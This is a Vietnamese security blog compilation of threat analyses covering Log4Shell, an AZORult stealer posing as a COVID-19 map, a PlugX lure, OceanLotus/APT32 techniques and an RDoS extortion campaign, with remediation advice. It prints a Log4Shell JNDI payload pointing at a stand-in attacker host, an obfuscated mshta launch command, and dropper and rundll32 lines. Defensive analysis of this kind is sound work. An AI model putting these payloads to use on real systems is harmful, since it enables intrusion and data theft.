Log4j2 là một thư viện mã nguồn mở dựa trên Java và thường được tích hợp trên các máy chủ web Apache với chức năng ghi lại nhật ký. Theo các nguồn tin, nhà nghiên cứu Chen Zhaojun của Alibaba đã gửi báo cáo lỗ hổng thực thi mã từ xa Log4j2 (RCE) cho Apache vào ngày 24 tháng 11 năm 2021. Lỗ hổng nghiêm trọng này sau đó đã được gán mã định danh CVE-2021-44228, hay còn được gọi là “Log4Shell”, tác động đến tất cả các phiên bản Log4j2 từ 2.0-beta9 đến 2.14.1.
Phân tích
Lỗ hổng CVE-2021-44228 cho phép kẻ tấn công bên ngoài hệ thống, không cần xác thực, có thể khai thác bằng cách gửi yêu cầu chứa mã khai thác (payload) đến máy chủ đang chạy phiên bản Log4j tồn tại lỗi. Yêu cầu được gửi đi sử dụng JNDI thông qua nhiều dịch vụ bao gồm:
Lightweight Directory Access Protocol (LDAP)
Remote Method Invocation (RMI)
Domain Name System (DNS)
Lỗ hổng Log4j được kích hoạt bởi payload, phía máy chủ sẽ tạo yêu cầu trên JNDI thông qua một trong các dịch vụ do kẻ tấn công kiểm soát. Khi nhận được yêu cầu này, kẻ tấn công sẽ trả về một đường dẫn đến tệp Java class được lưu trữ từ xa, tệp này sau đó sẽ được phía máy chủ chèn vào luồng xử lý và cho phép kẻ tấn công có thể thực thi mã tuỳ ý.
Cách thức khai thác
Log4j2 đã bổ sung thêm chức năng tra cứu, bao gồm cả tra cứu JNDI, nhưng tra cứu JNDI này không bị hạn chế, dẫn đến lỗ hổng bảo mật.
Java Naming and Directory Interface (JNDI) là một Java API cho phép lưu trữ và truy cập nhiều loại dữ liệu và tài nguyên, như đối tượng, tệp, thư mục… JNDI được thiết kế để cung cấp một giao diện chung cho phép truy cập các dịch vụ hiện có như DNS, LDAP, CORBA và RMI.
Trong số đó, có một loại dữ liệu có thể được trả về URI trỏ đến một Java class, và nếu hệ thống tải về và xử lý Java class không đáng tin cậy, nó có thể gây nguy hiểm cho máy chủ nếu class này có chứa mã độc.
Ban đầu, kẻ tấn công tiến hành gửi tới máy chủ mục tiêu chuỗi string chứa payload với điều kiện payload được ghi log lại trên hệ thống (trong trường hợp này, kẻ tấn công sẽ xây dựng một JNDI và chèn vào HTTP Header):
User-Agent: ${jndi:ldap://attacker.com:port/path}
Máy chủ mục tiêu khi parse chuỗi payload trên, Log4j instance sẽ khởi tạo một yêu cầu LDAP thông qua JNDI tới URL endpoint mà kẻ tấn công kiểm soát. Máy chủ LDAP, cũng do kẻ tấn công kiểm soát, sẽ phản hồi lại thông tin dẫn tới một endpoint file Java .class từ xa do kẻ tấn công tạo ra, chứa mã thực thi:
Cuối cùng, quá trình phía máy chủ mục tiêu xử lý, Java class được tải vào bộ nhớ và được thực thi bởi Log4j, đồng thời thực thi mã độc được cài đặt trong Java class đó.
Do tính phổ biến của thư viện Log4j2, rất nhiều hệ thống đã và đang chịu ảnh hưởng từ lỗ hổng CVE-2021-44228 Log4Shell, bao gồm cả những hệ thống, dịch vụ đám mây của Steam, Cloudflare, Twitter, Tesla… Kèm theo rất nhiều mã khai thác công khai được cập nhật trên Github. Hiện tại, lỗ hổng này đang được hacker khai thác rất tích cực.
Mã khai thác công khai CVE-2021-44228 trên GithubKhai thác CVE-2021-44228 trên Minecraft
Cách khắc phục
Thực hiện khắc phục lỗ hổng
Hiện tại đã có bản vá cho CVE-2021-44228 Log4J RCE, khuyến nghị cập nhật sớm nhất để tránh bị ảnh hưởng: Log4j’s lastest release v2.15.0.
Lỗ hổng này có thể được giảm thiểu trên các phiên bản release trước đây (>=2.10):
(Ví dụ: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Bên cạnh đó, sử dụng Java 8u121 chống lại lỗ hổng RCE bằng cách cấu hình “com.sun.jndi.rmi.object.trustURLCodebase” và “com.sun.jndi.cosnaming.object.trustURLCodebase” thành “false.”
Sử dụng WAF
Thiết lập giám sát sử dụng WAF để bảo vệ ứng dụng bằng cách phát hiện những request có chứa chuỗi khai thác Log4j, chuỗi khai thác này có thể được chèn vào bất kỳ vị trí nào trên một HTTP request, thực hiện chặn request đó, ngăn không cho ứng dựng xử lý chuỗi khai thác.
Một điều cuối cùng cần lưu ý đó là phiên bản Log4J v1 đã không còn được hỗ trợ và vẫn có thể dính lỗ hổng CVE-2021-44228 Log4J RCE, vì thế hãy nâng cấp lên phiên bản Log4j’s lastest release v2.15.0 sớm nhất.
Lợi dụng tình hình dịch bệnh Covid-19 đang diễn biến phúc tạp các tin tặc đã đánh vào nhu cầu nhắm bắt thông tin của người dân trên toàn thế giới để phát tán mã độc. Kẻ tấn công lừa người dùng tải xuống và chạy một phần mềm độc hại có giao diện được tải về từ một nguồn chính thống nhưng chạy ngầm một tiến trình khác.
Mẫu mã độc lần này được định danh là AZORult, một loại malware được phát hiện từ năm 2016, có chức năng thu thập dữ liệu của web browser như cookie, lịch sử duyệt web, user id, mật khẩu và cả khóa mã hóa.
Phân tích chuyên sâu
Mẫu Corona-virus-Map.com.exe
Hash: 73da2c02c6f8bfd4662dc84820dcd983
File Type: Portable Executable 32
File Info: Microsoft Visual C++ 8, Autoit
Kẻ tấn công sẽ đánh lừa người dùng tải xuống một file có tên “Corona-virus-Map.com.exe”. File này được viết bằng Autoit nên ta có thể dễ dàng decompile và lấy được source code của mã độc.
Đoạn script cho ta thấy nó sẽ tạo một thư mực ở “%APPDATA%/Z11062600” và cài đặt 2 file là “Corona.exe”, “Corona-virus-Map.com.exe” rồi khởi chạy hai file đó.
Mẫu Corona-virus-Map.com.exe
Hash: 07b819b4d602635365e361b96749ac3e
File Type: Portable Executable 32
File Info: Microsoft Visual Studio .NET
File “Corona-virus-Map.com.exe” được thả xuống máy người dùng là một file .Net, qua bóc tách và phân tích. Chức năng chủ yếu của file này là lấy dữ liệu từ “hxxps://gisanddata[.]maps.arcgis[.]com/apps/opsdashboard/index[.]html#/bda7594740fd40299423467b48e9ecf6” để hiển thị cho người dùng giao diện bản đồ lây nhiễm Covid-19 nhằm lấy lòng tin khiến người dùng không nghi ngờ.
Mẫu Corona.exe
Hash: 1beba1640f5573cbac5552ae02c38f33
File Type: Portable Executable 32
File Info: Rar archive
File “Corona.exe” khi được khởi chạy sẽ tạo ra hai file, một là Corona.bat, hai là Corona.sfx.exe. Trong đó, file bat có nội dung như sau:
@echo off
Corona.sfx.exe -p3D2oetdNuZUqQHPJmcMDDHYoqkyNVsFk9r -dC:\Windows\System32
Tiến trình của file “Corona.exe” sẽ dùng cmd để chạy file “Corona.bat” và từ đó khởi chạy “Corona.sfx.exe”. File “Corona.sfx.exe” này sẽ tạo ra và chạy một file Corona.exe nữa có chức năng tương tự như file Corona.exe đầu tiên là tạo ra và khởi chạy hai file tiếp là bin.exe và Build.exe ở thư mục “%APPDATA%/Z58538177”. Để dễ hình dung, ta có processes graph như sau:
Mẫu bin.exe
Hash: c4852ee6589252c601bc2922a35dd7da
File Type: Portable Executable 32
File Info: Borland Delphi
Đây là file thực thi chính của mã độc. Được các nhà bảo mật định danh là AZORult, một chủng loại malware chuyên đánh cắp dữ liệu. Ngay khi vào máy nạn nhân malware sẽ lấy tất cả thông tin định danh của mấy như Guid, thông tin phiên bản, username, computername rồi tự tạo một guid riêng:
Từ guid vừa tạo, mã độc dùng để Mutex để tránh cho hai chương trình malware sẽ chạy cùng lúc.
Mã độc mã hóa lại thông tin định danh mày và cũng ngay lập tức giải mã địa chỉ C&C
Mã độc kết nối tới C&C server cùng với thông tin định danh của máy nạn nhân và server trả về một lượng lớn dữ liệu
Sau khi mã độc giải mã dữ liệu tải xuống, ta có thể thấy chúng tải một danh sách các thư viện động xuống máy nạn nhân và ghi vào thư mục “%TEMP%2fda”
Mã độc liệt kê một danh sách dài giàng giạc các đường dẫn mà từ đó ta có thể xác định được mục tiêu của mã độc nhắm vào đâu. Chúng đánh căp dữ liệu của các trình duyệt như Firefox, Chrome, Chronium, Brave, Edge, Comodo, Kometa,Cococ, Opera, 360, … các trình quán lý email như Outlook, Thunderbird,… và còn nhiều phần mềm nũa. Các thư viện được tải về dùng để cung cấp các hàm cần thiết để kẻ tấn công có thể đọc dữ liệu.
Ví dụ như malware sẽ truy vấn dữ liệu profile của Outlook trong registry
Hay đánh cắp mật khẩu truy cập vào server firezilla
Ngay cả tiền ảo của nạn nhân cũng bị sờ đến
Cuối cùng, malware gửi dữ liệu thu được mã hóa chúng và gửi lại cho C&C server. Malware chạy lệnh để xóa file.
C:\\Windows\\system32\\timeout.exe 3 & del \”bin.exe\
Có rất nhiều công cụ giúp ta có thể unpack được UPX ví dụ như CFF Explorer. File này khi thực thi sẽ tự tạo bản sao vào thư mục “%APPDATA%/amd64_netfx4-system.runti..dowsruntime.ui.xaml.Globalization.Fontgroups.exe” và khởi chạy. Cũng như dropper đầu tiên của mã độc ta chỉ cần decompile file Autoit là có thể lấy được mã nguồn
Ta tiết kiệm được rất nhiều thời gian khi mẫu mã độc này không bị obfuscated quá phức tạp. Qua quá trình phân tích và tìm kiếm thông tin, Ta có thể kết luận hoạt động chủ yếu của mẫu là đánh cắp các thông tin từ cookie của trình duyệt, đánh cắp khóa mã hóa, tắt cấu hình proxy, thay đổi thuộc tính của file để ẩn danh.
Xóa tất cả các file trên (nếu có và nếu đúng mã hash)
Xóa task scheduler link tới file Windows.Globalization.Fontgroups.exe > Ngoài ra có thể sử dụng phần mềm của các hãng diệt virus tin cậy để xử lý
Kết luận
Mức độ nguy hiểm của dịch Covid-19 là không cần bàn cãi. Kẻ xấu đang khai thác triệt để sự phổ biến của các thông tin liên quan đến coronavirus trên web và nhiều người có thể sẽ trở thành con mồi của các cuộc tấn công. Người dùng cần phải bình tĩnh bảo vệ bản thân trước virus sinh học và cả virus máy tính. > Để theo dõi bản đồ tình hình dịch an toàn người dùng nên truy cập theo trang web https://coronavirus.jhu.edu/map.html của trường đại học Johns Hopkins
Trong thời gian gần đây do diễn biến của dịch COVID 19 khá phức tạp, nhiều nhóm hacker lợi dụng việc này để thực hiện các chiến dịch APT nhằm vào các tổ chức trên thế giới, cũng như xuất hiện chiến dịch ở Việt Nam.
Mới đây lợi dụng tình hình căng thẳng của dịch cúm COVID-19, mẫu mã độc giống với một số mẫu do nhóm tin tặc Panda phát triển được phát hiện đã thực hiện mạo danh văn 3 bản thông báo của chính phủ về tình hình dịch để đánh lừa người dùng. Mã độc được inject trong một file word với tiêu đề: “Chi Thi cua thu tuong nguyen xuan phuc” nhằm đánh lừa người dùng,mãu này hiện được chúng tôi thu thập được thông qua hệ thống CMC Threat Intelligence.
Thông qua hệ thống Threat Intelligence mẫu mã độc này có sự liên quan tới một số mẫu gần đây mà chúng tôi có cảnh báo.
File mẫu là 1 file shortcut có phần mở rộng là “.lnk” được ẩn dưới dạng một file winword nhằm đánh lừa người dùng do đuôi “.lnk” sẽ được Windows ẩn đi. Tuy nhiên file winword này sử dụng một target đáng ngờ. Thông thường target của shorcut thường trỏ đến một thư mục hoặc file đích, nhưng target của mẫu này lại chứa đoạn command có dạng:
%comspec% /c for %x in (%temp%=%cd%) do for /f “delims==” %i in (‘dir “%x\Chi Thi cua thu tuong nguyen xuan phuc.lnk” /s /b’) do start m%windir:~-1,1%hta.exe “%i”
Đoạn lệnh trên đã được obfuscate bằng cách sử dụng biến %comspec% để thay cho việc gọi trực tiếp chuỗi “cmd.exe” và chữ “s” trong tên file mshta.exe được lấy bằng cách cắt ký tự cuối cùng trong biến “%windir%”(thường là C:\Windows). Mshta.exe là 1 ứng dụng của microsoft phát triển nhằm tận dụng ưu điểm xây dựng nhanh ứng dụng thông qua html, css, vbscript, javascript. Sử dụngmshta và định dạng file .hta, ta có thể mở 1 trang html như 1 ứng dụng.Định dạng file hta cũng giống như file html. Bằng cách thêm thẻ tag vào trong thẻ của file html ta đã có file hta có thể được mở thông qua ứng dụng mshta.
Tuy nhiên, file hta có thể bị chèn thêm vào trước header của nó. Tận dụng điều này, kẻ tấn công đã chèn vào trước nó 1 file lnk với command mở chính nó bằng mshta.exe để thực thi file .hta nhúng kèm. Khi người dùng mở file lnk, sẽ thực thi command trong target của file lnk và thực thi file msha.exe để mở chính nó.
FILE HTA
Mặc định, mshta.exe có thể thực thi cả javascript và vbscript nhúng trong file hta nhờ sử dụng các dll liên quan. File hta nhúng kèm khi mở lên sẽ có các thuộc tính: chạy thu nhỏ(minimize), không hiện trên taskbar, không có menu và caption. Nhiệm vụ duy nhất của nó là thực thi đoạn mã vbscript độc hại.
Khi vbscipt được thực thi, script này giải mã và lưu vào thư mục %TEMP% 3 file binary ở dạng base64 và 1 file document.
File document sau đó được mở cho user.
Khi này cuộc tấn công sử dụng PLUGX RAT sẽ được thực hiện:
File 3.exe thực chất là một file sạch, tuy nhiên khi thực thi nó sẽ load lên 1 file dll độc hại
Để làm điều này, attacker chỉ cần tìm 1 dll được load bằng hàm LoadLibrary trong file 3.exe(ở trường hợp này là http_dll.dll), sau đó tạo ra 1 file dll độc hại với tên trùng với tham số của hàm LoadLibrary và để cùng thư mục với file 3.exe. Khi gọi LoadLibrary, 3.exe sẽ tìm dll trong cùng thư mục trước và load nó lên.
Khi “http_dll.dll” được load lên nó sẽ tiến hành chuyển hướng thực thi của file PE sang 1 hàm trong DLL bằng cách thay đổi thuộc tính vùng nhớ trên memory của file PE thông qua API VirtualProtect và thay thế code bằng cặp lệnh push, ret.
Tại hàm của DLL mã độc sẽ đọc file http_dll.dat trong cùng thư mục. Nội dung ở phần đầu của file dat này là 1 string có null-terminated và phần data. String này sẽ được sử dụng để là key giải mã cho phần data của file dat.
Sau đó, mã độc sẽ tạo ra 1 vùng nhớ mới để chứa phần giải mã được tiến hành bằng thuật toán xor với key là string trong file dat như trên. Mã độc tiếp tục thay đổi thuộc tính của vùng nhớ mới này bằng thuộc tính PAGE_EXECUTE_READWRITE và thực thi shellcode tại địa chỉ này.
Nội dung giải mã thu được là 1 file PE dạng RAW, tuy nhiên đã được lồng vào rất khéo 1 shellcode, bắt đầu từ offset 0. Shellcode này có nhiệm vụ như 1 loader, load file PE dạng raw này để có thể thực thi được.
Đầu tiên, shellcode tìm địa chỉ của kernel32.dll sau đó lấy địa chỉ các hàm LoadLibray, GetProcAddress, ZwFlushIntructionCache, VirtualAlloc bằng cách so sánh hash tên của các hàm được kernel32 export.
Sau đó, Loader đọc header của file PE, thực hiện map các section lên các vùng nhớ tương ứng, realloc lại một số địa chỉ và resolve lại Import Address Table của file. Sau khi hoàn tất, luồng thực thi chương trình sẽ được chuyển qua hàm DllMain của file PE này.
Final Payload
Tại đây, mã độc sẽ tiến hành lấy 1 số đường dẫn để sử dụng, sau đó giải mã 1 phần data section để sử dụng.
Kết quả giải mã là 1 số strings bao gồm tên khóa autorun, ip c&c server. Sau đó mã độc sẽ tiến hành:
Tạo bản sao của 3 file thực thi vào thư mục profile của user hoặc alluserprofile nếu có đủ quyền administrator.
Thêm và khóa autorun để tự kích hoạt file thực thi vừa drop ra khi khởi động lại máy. Đồng thời tự khởi chạy lại nếu đây là lần chạy đầu tiên của nó. Mã độc phân biệt điều này bằng cách chèn thêm 1 tham số nữa cho nó ở các lần chạy tiếp theo.
Tạo mutex, kết nối đến server để nhận lệnh từ server.
Tạo backdoor cho phép kẻ tấn công thực thi lệnh từ xa.
Hỗ trợ nhiều command khác nhau bao gồm upload file, thư mục, list folder, đọc file, lấy thông tin máy tính, user,…
3. Kết luận
Bằng cách sử dụng nhiều kỹ thuật tấn công khác nhau và làm rối trong khi thực thi cho thấy rằng người đứng sau phát triển mã độc đã đầu tư không ít thời gian để nghiên cứu mục tiêu và phát triển phương pháp tấn công cho phù hợp. APT là một loại tấn công nguy hiểm, được đầu tư kỹ lưỡng nhằm đánh cắp các thông tin quan trọng và gây nhiều thiệt hại cho tổ chức. Để phòng ngừa các cuộc tấn công APT, luôn luôn chuẩn bị các phương án đề phòng và giám sát liên tục mới có thể đảm bảo tính an toàn cho hệ thống của người dùng cũng như cả tổ chức.
Trong nữa đầu năm 2019, theo trung tâm tình báo các mối đe dọa an ninh mạng của Tencent đã đưa ra công bố về các cuộc tấn công của nhóm OceanLotus vào Trung Quốc. Các mục tiêu tấn công của tổ chức này rất đa dạng bao gồm các cơ quan chính phủ, cơ quan hàng hải, cơ quan ngoại giao, doanh nghiệp nhà nước lớn, tổ chức nghiên cứu khoa học và một số các doanh nghiệp tư nhân lớn của Trung Quốc.
Qua theo dõi, Tencent phát hiện số lượng lớn các mục tiêu trong nước đã bị nhóm này tấn công và toàn bộ mạng nội bộ của mục tiêu đã bị chiếm đóng, có thể xác định một lượng lớn thông tin bí mật và các thông tin cấu hình máy chủ bị đánh cắp. Những kẻ tấn công có vẻ rất quan thuộc với Trung Quốc cũng như hiểu rõ các vấn đề nóng hỏi và cơ cấu chính phủ của Trung Quốc. Ví dụ, khi một cải cách thuế vừa được đưa ra, một kế hoạch cải cách thuế đã ngay lập tức được sử dụng làm chủ đề của một cuộc tấn công.
Sea Lotus (OceanLotus) hay còn được gọi là APT32, là một tổ chức tấn công mạng được nhiều tổ chức định danh là xuất phát từ Việt Nam. Kể từ khi hoạt động, nhóm đã thực hiện nhiều cuộc tấn công vào Trung Quốc, cũng như nhiều nước khác trên thế giới.
Các phương thức tấn công không có nhiều thay đổi so với lần đầu phát hiện, nhưng có một số cải tiến nhỏ bao gồm các loại attack decoys, payload, phương thức bypass các lớp bảo mật..etc Phương thức tấn công phishing bằng email vẫn được sử dụng. Sau khi có được quyền kiểm soát máy, kẻ tấn công sẽ dò quét toàn bộ hệ thống mạng. Điều này cũng cho thấy các cuộc tấn công APT sẽ không ngừng cho đến khi nó đạt được mục đích. Miễn là mục tiêu có giá trị, cuộc tấn công sẽ ngày càng mạnh mẽ hơn.
Đăc điểm của cuộc tấn công
Tấn công bằng email lừa đảo
Sea Lotus thông qua việc gửi Email giả danh về các tổ chức uy tín, người dùng dễ bị đánh lừa tự tải về các File độc hại. Trong suốt năm 2019, đã có rất nhiều email lừa đảo được gửi, chẳng hạn như email sau:
Các tài khoản được sử dụng để gửi email lừa đảo thường là hộp thư của NetEase. Các kiểu tài khoản tấn công thường như là: Sun**@126[.]com, Yang**@163[.] com, chen**@126[.] com…
Đa dạng hóa các loại mồi nhử lừa đảo
Nhóm thường sử dụng đa dạng hóa các loại mồi nhử cho cuộc tấn công và hầu như tất cả các loại mồi đã được sử dụng. Ngoài các tệp độc hại Ink, tệp doc, tệp nén của WinRAR ACE (CVE-2018-20250) được đề cập trong nhiều bản báo cáo.
Tệp độc hại dưới dạng doc:
Tệp Chm giải mã
Lỗ hổng Winrar (CVE-2018-20250)
Đa dạng cách thức tải tệp
Do sự đa dạng của các loại mồi nhử cho việc lừa đảo, cách thức tải các tệp độc hại cũng khác nhau.
Thực thi trực tiếp
Tệp thực thi được nguy trang dưới dạng một File DOCX, có icon của microsoft word, được sử dụng để đánh lừa người dùng tải về. Sau khi người dùng có hành vi tải tệp DOC và tiến hành mở. Sau khi File mở ra, các thông tin trong file tài liệu bị xáo trộn, lôi kéo nạn nhân kích hoạt macro code trong file tài liệu để có thể xem nội dung bên trong tài liệu. Trong thực tế, sau khi macro được bật, nội dung bình thường vẫn không hiển thị
Sử dụng Rundll32 để tải dll độc hại
Sau khi thực thi các đoạn mã độc hại, nó sẽ gọi và thực thi đoạn mã độc hại thực sự {1888B763-A56C-4D4B-895C-2092993ECCBA} trong thư mục C:\User\Administrator\AppData\Local\Microsoft, sau đó sử dụng Rundll32 để thực thi dll:
“C:\Windows\system32\rundll32.exe” “C:\Users\ADMINI~1\AppData\Local\Microsoft\{1888B763-A56C-4D4B-895C-2092993ECCBA}.dll”,Register
Macro
Sử dụng một Macro để thực thi và mã Macro bị obfuscated:
Office memory thực thi shellcode độc hại
Bằng mã Macro, giải mã trực tiếp shellcode trong Office và tạo ra một luồng để thực thi trong bộ nhớ:
Sử dụng dll
Sử dụng kỹ thuật DLL(DLL Side-Loading) để thực thi, tải các File độc hại:
Thực thi
Đăng kí một DLL độc hại như một thành phần của hệ thống để thực thi:
Tệp lệnh nhúng
Tệp Chm sẽ thực thi, nó nhắc thực thi mã ActiveX:
Nội dung kịch bản của tệp:
Tuy nhiên, do vấn đề xử lý mã hóa, chm bị cắt bớt sau khi mở:
Sau khi giản nén, nội dung ban đầu như sau:
Các cuộc tấn công liên tục sử dụng scheduled tasks
Sau khi chm được thực thi, tệp bcdsrv.dll sẽ được phát hành theo %AppData%\Roaming và sau đó một tác vụ theo lịch trình có tên là WeeklyMaintenance sẽ được tạo:
Và new.html thực sự là một tập tin Vbs là một tập tin chứa mã có thể thực thi.
Sử dụng odbcconf.exe để tải tệp
Odbcconf.exe là một tệp đi kèm với hệ thống. Tệp này có thể được sử dụng để thực thi tệp dll và vì quá trình máy chủ là tệp hệ thống, nên nó có thể thoát khỏi sự can thiệp của một số phần mềm bảo mật:
Lỗ hổng WinRAR ACE (CVE-2018-20250)
Gói nén với lỗ hổng này có thể được cấu trúc như sau: Ngoài việc giải nén các tệp bình thường sau khi giải nén, thư mục khởi động (C: \ Users \ Administrator \ AppData \ Roaming \ Microsoft \ Windows \ Start Menu \ Programs \ Startup) phát hành tệp tự giải nén:
Tệp này là chương trình tự giải nén. Khi khởi động, nó sẽ phát hành tệp {7026ce06-ee00-4ebd-b00e-f5150d86c13e} .ocx, sau đó thực hiện lệnh:
Multi-load attack
Trong cuộc tấn công mới nhất, Sea Lotus đã sử dụng một Multi-load attack. Trong các cuộc tấn công trước đó, sau khi giải mã shellcode, RAT cuối cùng đã được thực thi trực tiếp, chẳng hạn như:
chúng tôi thấy rằng sau khi giải mã shellcode, shellcode được tải xuống và thực thi trước. Nếu quá trình tải xuống không thành công, thì RAT được cài đặt trước được tải:
Điều này làm cho các hoạt động tấn công trở nên phong phú và đa dạng hơn và cũng có thể kiểm soát được.
Cuộc lẩn tránh các phần mềm bảo mật
Sea Lotus cũng sử dụng nhiều phương pháp khác nhau để chống lại phần mềm bảo mật, chủ yếu là:
Sử dụng DLL để thực thi
Sử dụng tệp hệ thống thực thi
Có thể nhắc đến như odbcconf.exe.
Thực thi shellcode trực tiếp trong office
Thêm dữ liệu rác vào các tập tin để mở rộng kich thước.
Để ngăn chặn tập tin được thu thập bởi các nhà cung cấp bảo mật, tổ chức Sea Lotus đã cố tình thêm một lượng lớn dữ liệu rác vào tài nguyên của một số tệp nhất định để mở rộng kích thước tệp.
Nếu một tệp chứa đầy dữ liệu rác, kích thước tệp lên tới 61,4 MB (64,480,256 byte):
Tạo backdoor
Tệp backdoor được mã hóa và tùy chỉnh theo thuộc tính của máy. Do vậy, tệp băm trên mỗi máy là khác nhau và không thể thực hiện được nếu không có thông tin liên quan đến máy chứa backdoor. Ngay cả khi mã độc bị các nhà cung cấp bảo mật tìm thấy, miễn là không có dữ liệu liên quan đến máy tính chưa mã độc thì tải trọng không thể được giải mã.
Nguy trang cho kết nối CnC
Theo thông tin cấu hình, các kết nối và ngụy trang khác nhau có thể được thực hiện, và C2 được lắp ráp và phân tích. Các CnC thường có cấu trúc (xxx là cấu hình C2):
{rand} .xxx
www6.xxx
cdn.xxx api.xxx
Giả mạo các HTTP Header:
Backdoor tùy chỉnh
Một kỹ thuật ấn tượng nhất của Sea Lotus đã sử dụng vào năm 2019 ( chủ yếu là sử dụng backdoor trong giai đoạn thứ 2) . Kỹ thuật này đã được công bố gần đây với các tệp độc hại do mỗi máy victim phát hành được mã hóa bằng các thuộc tính máy có liên quan (như tên máy) của máy victim và được thực thi. Chúng ta cần một phần thông tin này, nếu không không thể giải mã nó.
Do đó, mỗi tệp độc hại được phát hành là khác nhau và ngay cả khi bị nhà cung cấp bảo mật tìm thấy, miễn là không có dữ liệu liên quan của máy victim, tải trọng thực không thể được giải mã.
Backdoor cũng được thực thi liên quan đến các file và tiến trình bao gồm: AdobeUpdate.exe + goopdate.dll, KuGouUpdate.exe + goopdate.dll, XGFileCheck.exe + goopdate.dll, SogouCloud.exe + inetmib1.dll và các kết hợp khác để thực thi.
Quá trình mã hóa là:
Qua ví dụ dưới có thể thấy, tên người dùng đã được sử dụng để mã hóa.
Tên người dùng victim là Cao **. Có thể thấy rằng Trojan được tạo ra đặc biệt để lây nhiễm vào máy tính này.
Phần mềm độc hại
Qua quá trình theo dõi, nhận thấy có Sea Lotus thường sử dụng ba loại phần mềm độc hại chính: CobaltStrike’s beacon Trojan, họ Trojan Denis và Ghost đã sửa đổi. Trong đó CobaltStrike’s beacon Trojan và họ Trojan Denis thường được phát hiện nhiều nhất, Ghost rất it khi được sử dụng.
CobaltStrike:
Denis:
Ghost được sửa đổi:
Thâm nhập mạng
Sau khi một máy chủ đã bị nhiễm mã độc thông qua tấn công Email Phishing, Sea Lotus sẽ tiếp tục các cuộc tấn công vào các máy nội bộ. Chúng tiến hành rà quét, tìm kiếm, tấn công sang các máy nội bộ bằng nhiều cách nhất có thể.
Get the hash:
Package file:
Ngoài ra cũng sẽ có các tác vụ được tạo ra theo lịch trình để tải xuống các công cụ liên tục thông qua Powershell:
Tệp độc hại được phát hiện là goopdate.dll.
Một số hoạt động khác
Trong quá trình theo dõi, một số cuộc tấn công tương tự được tìm thấy như các cuộc tấn công của Sea Lotus như:
Các mã độc cuối cùng cũng được thực thi bởi hai loại tệp:
Beacon payload được tạo bởi CobaltStrike.
Còn lại là Payload block numverse_http được sử dụng bởi metasploit.
Ngoài ra, CnC của các cuộc tấn công này thường được phát hiện ở Trung Quốc:
Mặc dù gần đây đang có những cuộc tấn công giống với các hành vi của Sea Lotus nhưng cũng có những hành vi không giống do đó chưa thể kết luận về các cuộc tấn công đó liên quan đến SeaLotus.
Tóm tắt về Sea Lotus
Sea Lotus là một trong những nhóm APT tích cực nhất trong những năm gần đây, thường xuyên tấn công vào các khu vực ở Trung Quốc và các nước trên thế giới. Nhiều công ty an ninh mạng đã liên tục đưa ra các báo cáo về các cuộc tấn công của Sea Lotus gần đây. Nhóm Sea Lotus này hiện tại vẫn chưa có dấu hiệu dừng lại, chúng liên tục cập nhật các công nghệ, kỹ thuật tấn công gây rất nhiều khó khăn cho các công tác bảo đảm ATTT. Vì vậy, người dùng cần nâng cao nhận thức bảo mật , không tự ý thực hiện các tệp đính kèm của các email không xác định và không bị đánh lừa bởi các tin nhắn lừa đảo.
Khuyến nghị an toàn
Nâng cao nhận thức về bảo mật, không mở tệp đính kèm của các email không xác định, trừ khi nguồn tài liệu đáng tin cậy và mục đích rõ ràng, không dễ dàng kích hoạt macro của Office.
Cài đặt các bản vá và bản vá hệ điều hành cho các phần mềm quan trọng như Office một cách kịp thời.
Sử dụng phần mềm Antivirus để ngăn chặn các cuộc tấn công như ngựa thành Troy có thể xảy ra.
Người dùng, doanh nghiệp nên triển khai hệ thống phát hiện mối đe dọa sớm như SOC. Hệ thống SOC hiện nay đang là sự lựa chọn hàng đầu của các nhà bảo mật. Các IOC liên quan
Vừa qua, trên Threat Intelligence có thu lượm được một vài thông tin về các chiến dịch tấn công từ chối dịch vụ RDoS (ransom denial-of-service), kẻ tấn công yêu cầu đòi tiền chuộc đối với các nạn nhân để không bị tấn công.
Những kẻ tấn công đó đã tống tiền dọa nạt thông qua việc gửi các email đe dọa các nạn nhân. Hầu hết kẻ tấn công lấy danh nghĩa của nhóm Fancy Bear để lấy danh tiếng nhóm này đe dọa khiến những nạn nhân cảm thấy sợ hại. Những kẻ tấn công đóng giả là Fancy Bear khét tiếng đe dọa sẽ khởi động cuộc tấn công DDoS nếu tiền chuộc không được trả. Trong một số trường hợp, những kẻ tấn công đã thực hiện các cuộc tấn công DDoS nhỏ để chứng minh khả năng của chúng và xác nhận mối đe dọa. Các cuộc tấn công cũng được xác nhận bởi các nhà nghiên cứu bảo mật khác.
Cũng đợt đó CMC Cyber Security nhận được yêu cầu support từ một tổ chức khi họ nhận được email đe dọa giống như vậy
Một số tổ chức khi nhận được email đe dọa này cũng đã bị một cuộc tấn công DDoS demo vào các server của họ.
Vector attack (floods) sử dụng các giao thức UDP và ICMP , đặc biệt kẻ tấn công đã sử dụng UDP/3283, đây là một attack vector mới được phát hiện vào 06/2019.
Fancy Bear hay còn gọi là APT28 (Sednit group, Sofacy, Pawn Storm, Strontium, Tsar Team, TG-4127, Group-4127, TAG_0700, Swallowtail, Iron Twilight, Group 74) hoạt động từ 2004, Fancy Bear là một tổ chức hacker chuyên tấn công các tổ chức lớn, chính phủ các nước bằng các chiến dịch APT.
Có thể khẳng định là nhóm Fancy Bear không liên quan gì đến các chiến dịch RDoS (ransom denial-of-service), mục tiêu của họ đa phần là phá hoạt và làm gián điệp, trong khi mục tiêu của những kẻ trên là tiền một thứ mà nhóm Fancy Bear được tài trợ, chỉ là một chút đe dọa sử dụng social engineering.
Các source ip được sử dụng dụng bởi kẻ tấn công sử dụng random cho UDP Flood trong cuộc tấn công RDoS
CMC Cyber Security sẽ chỉ public 1 phần, nếu bạn muốn cần nhiều hơn hãy contact chi tiết.
Phương thức để giảm thiểu ngăn chặn những cuộc tấn công DDOS kiểu này có nhiều và cũng không quá khó để thực hiện. Chúng tôi sẽ tiếp tục apdate các thông tin chi tiết cụ thể trong thời gian sớm nhất.
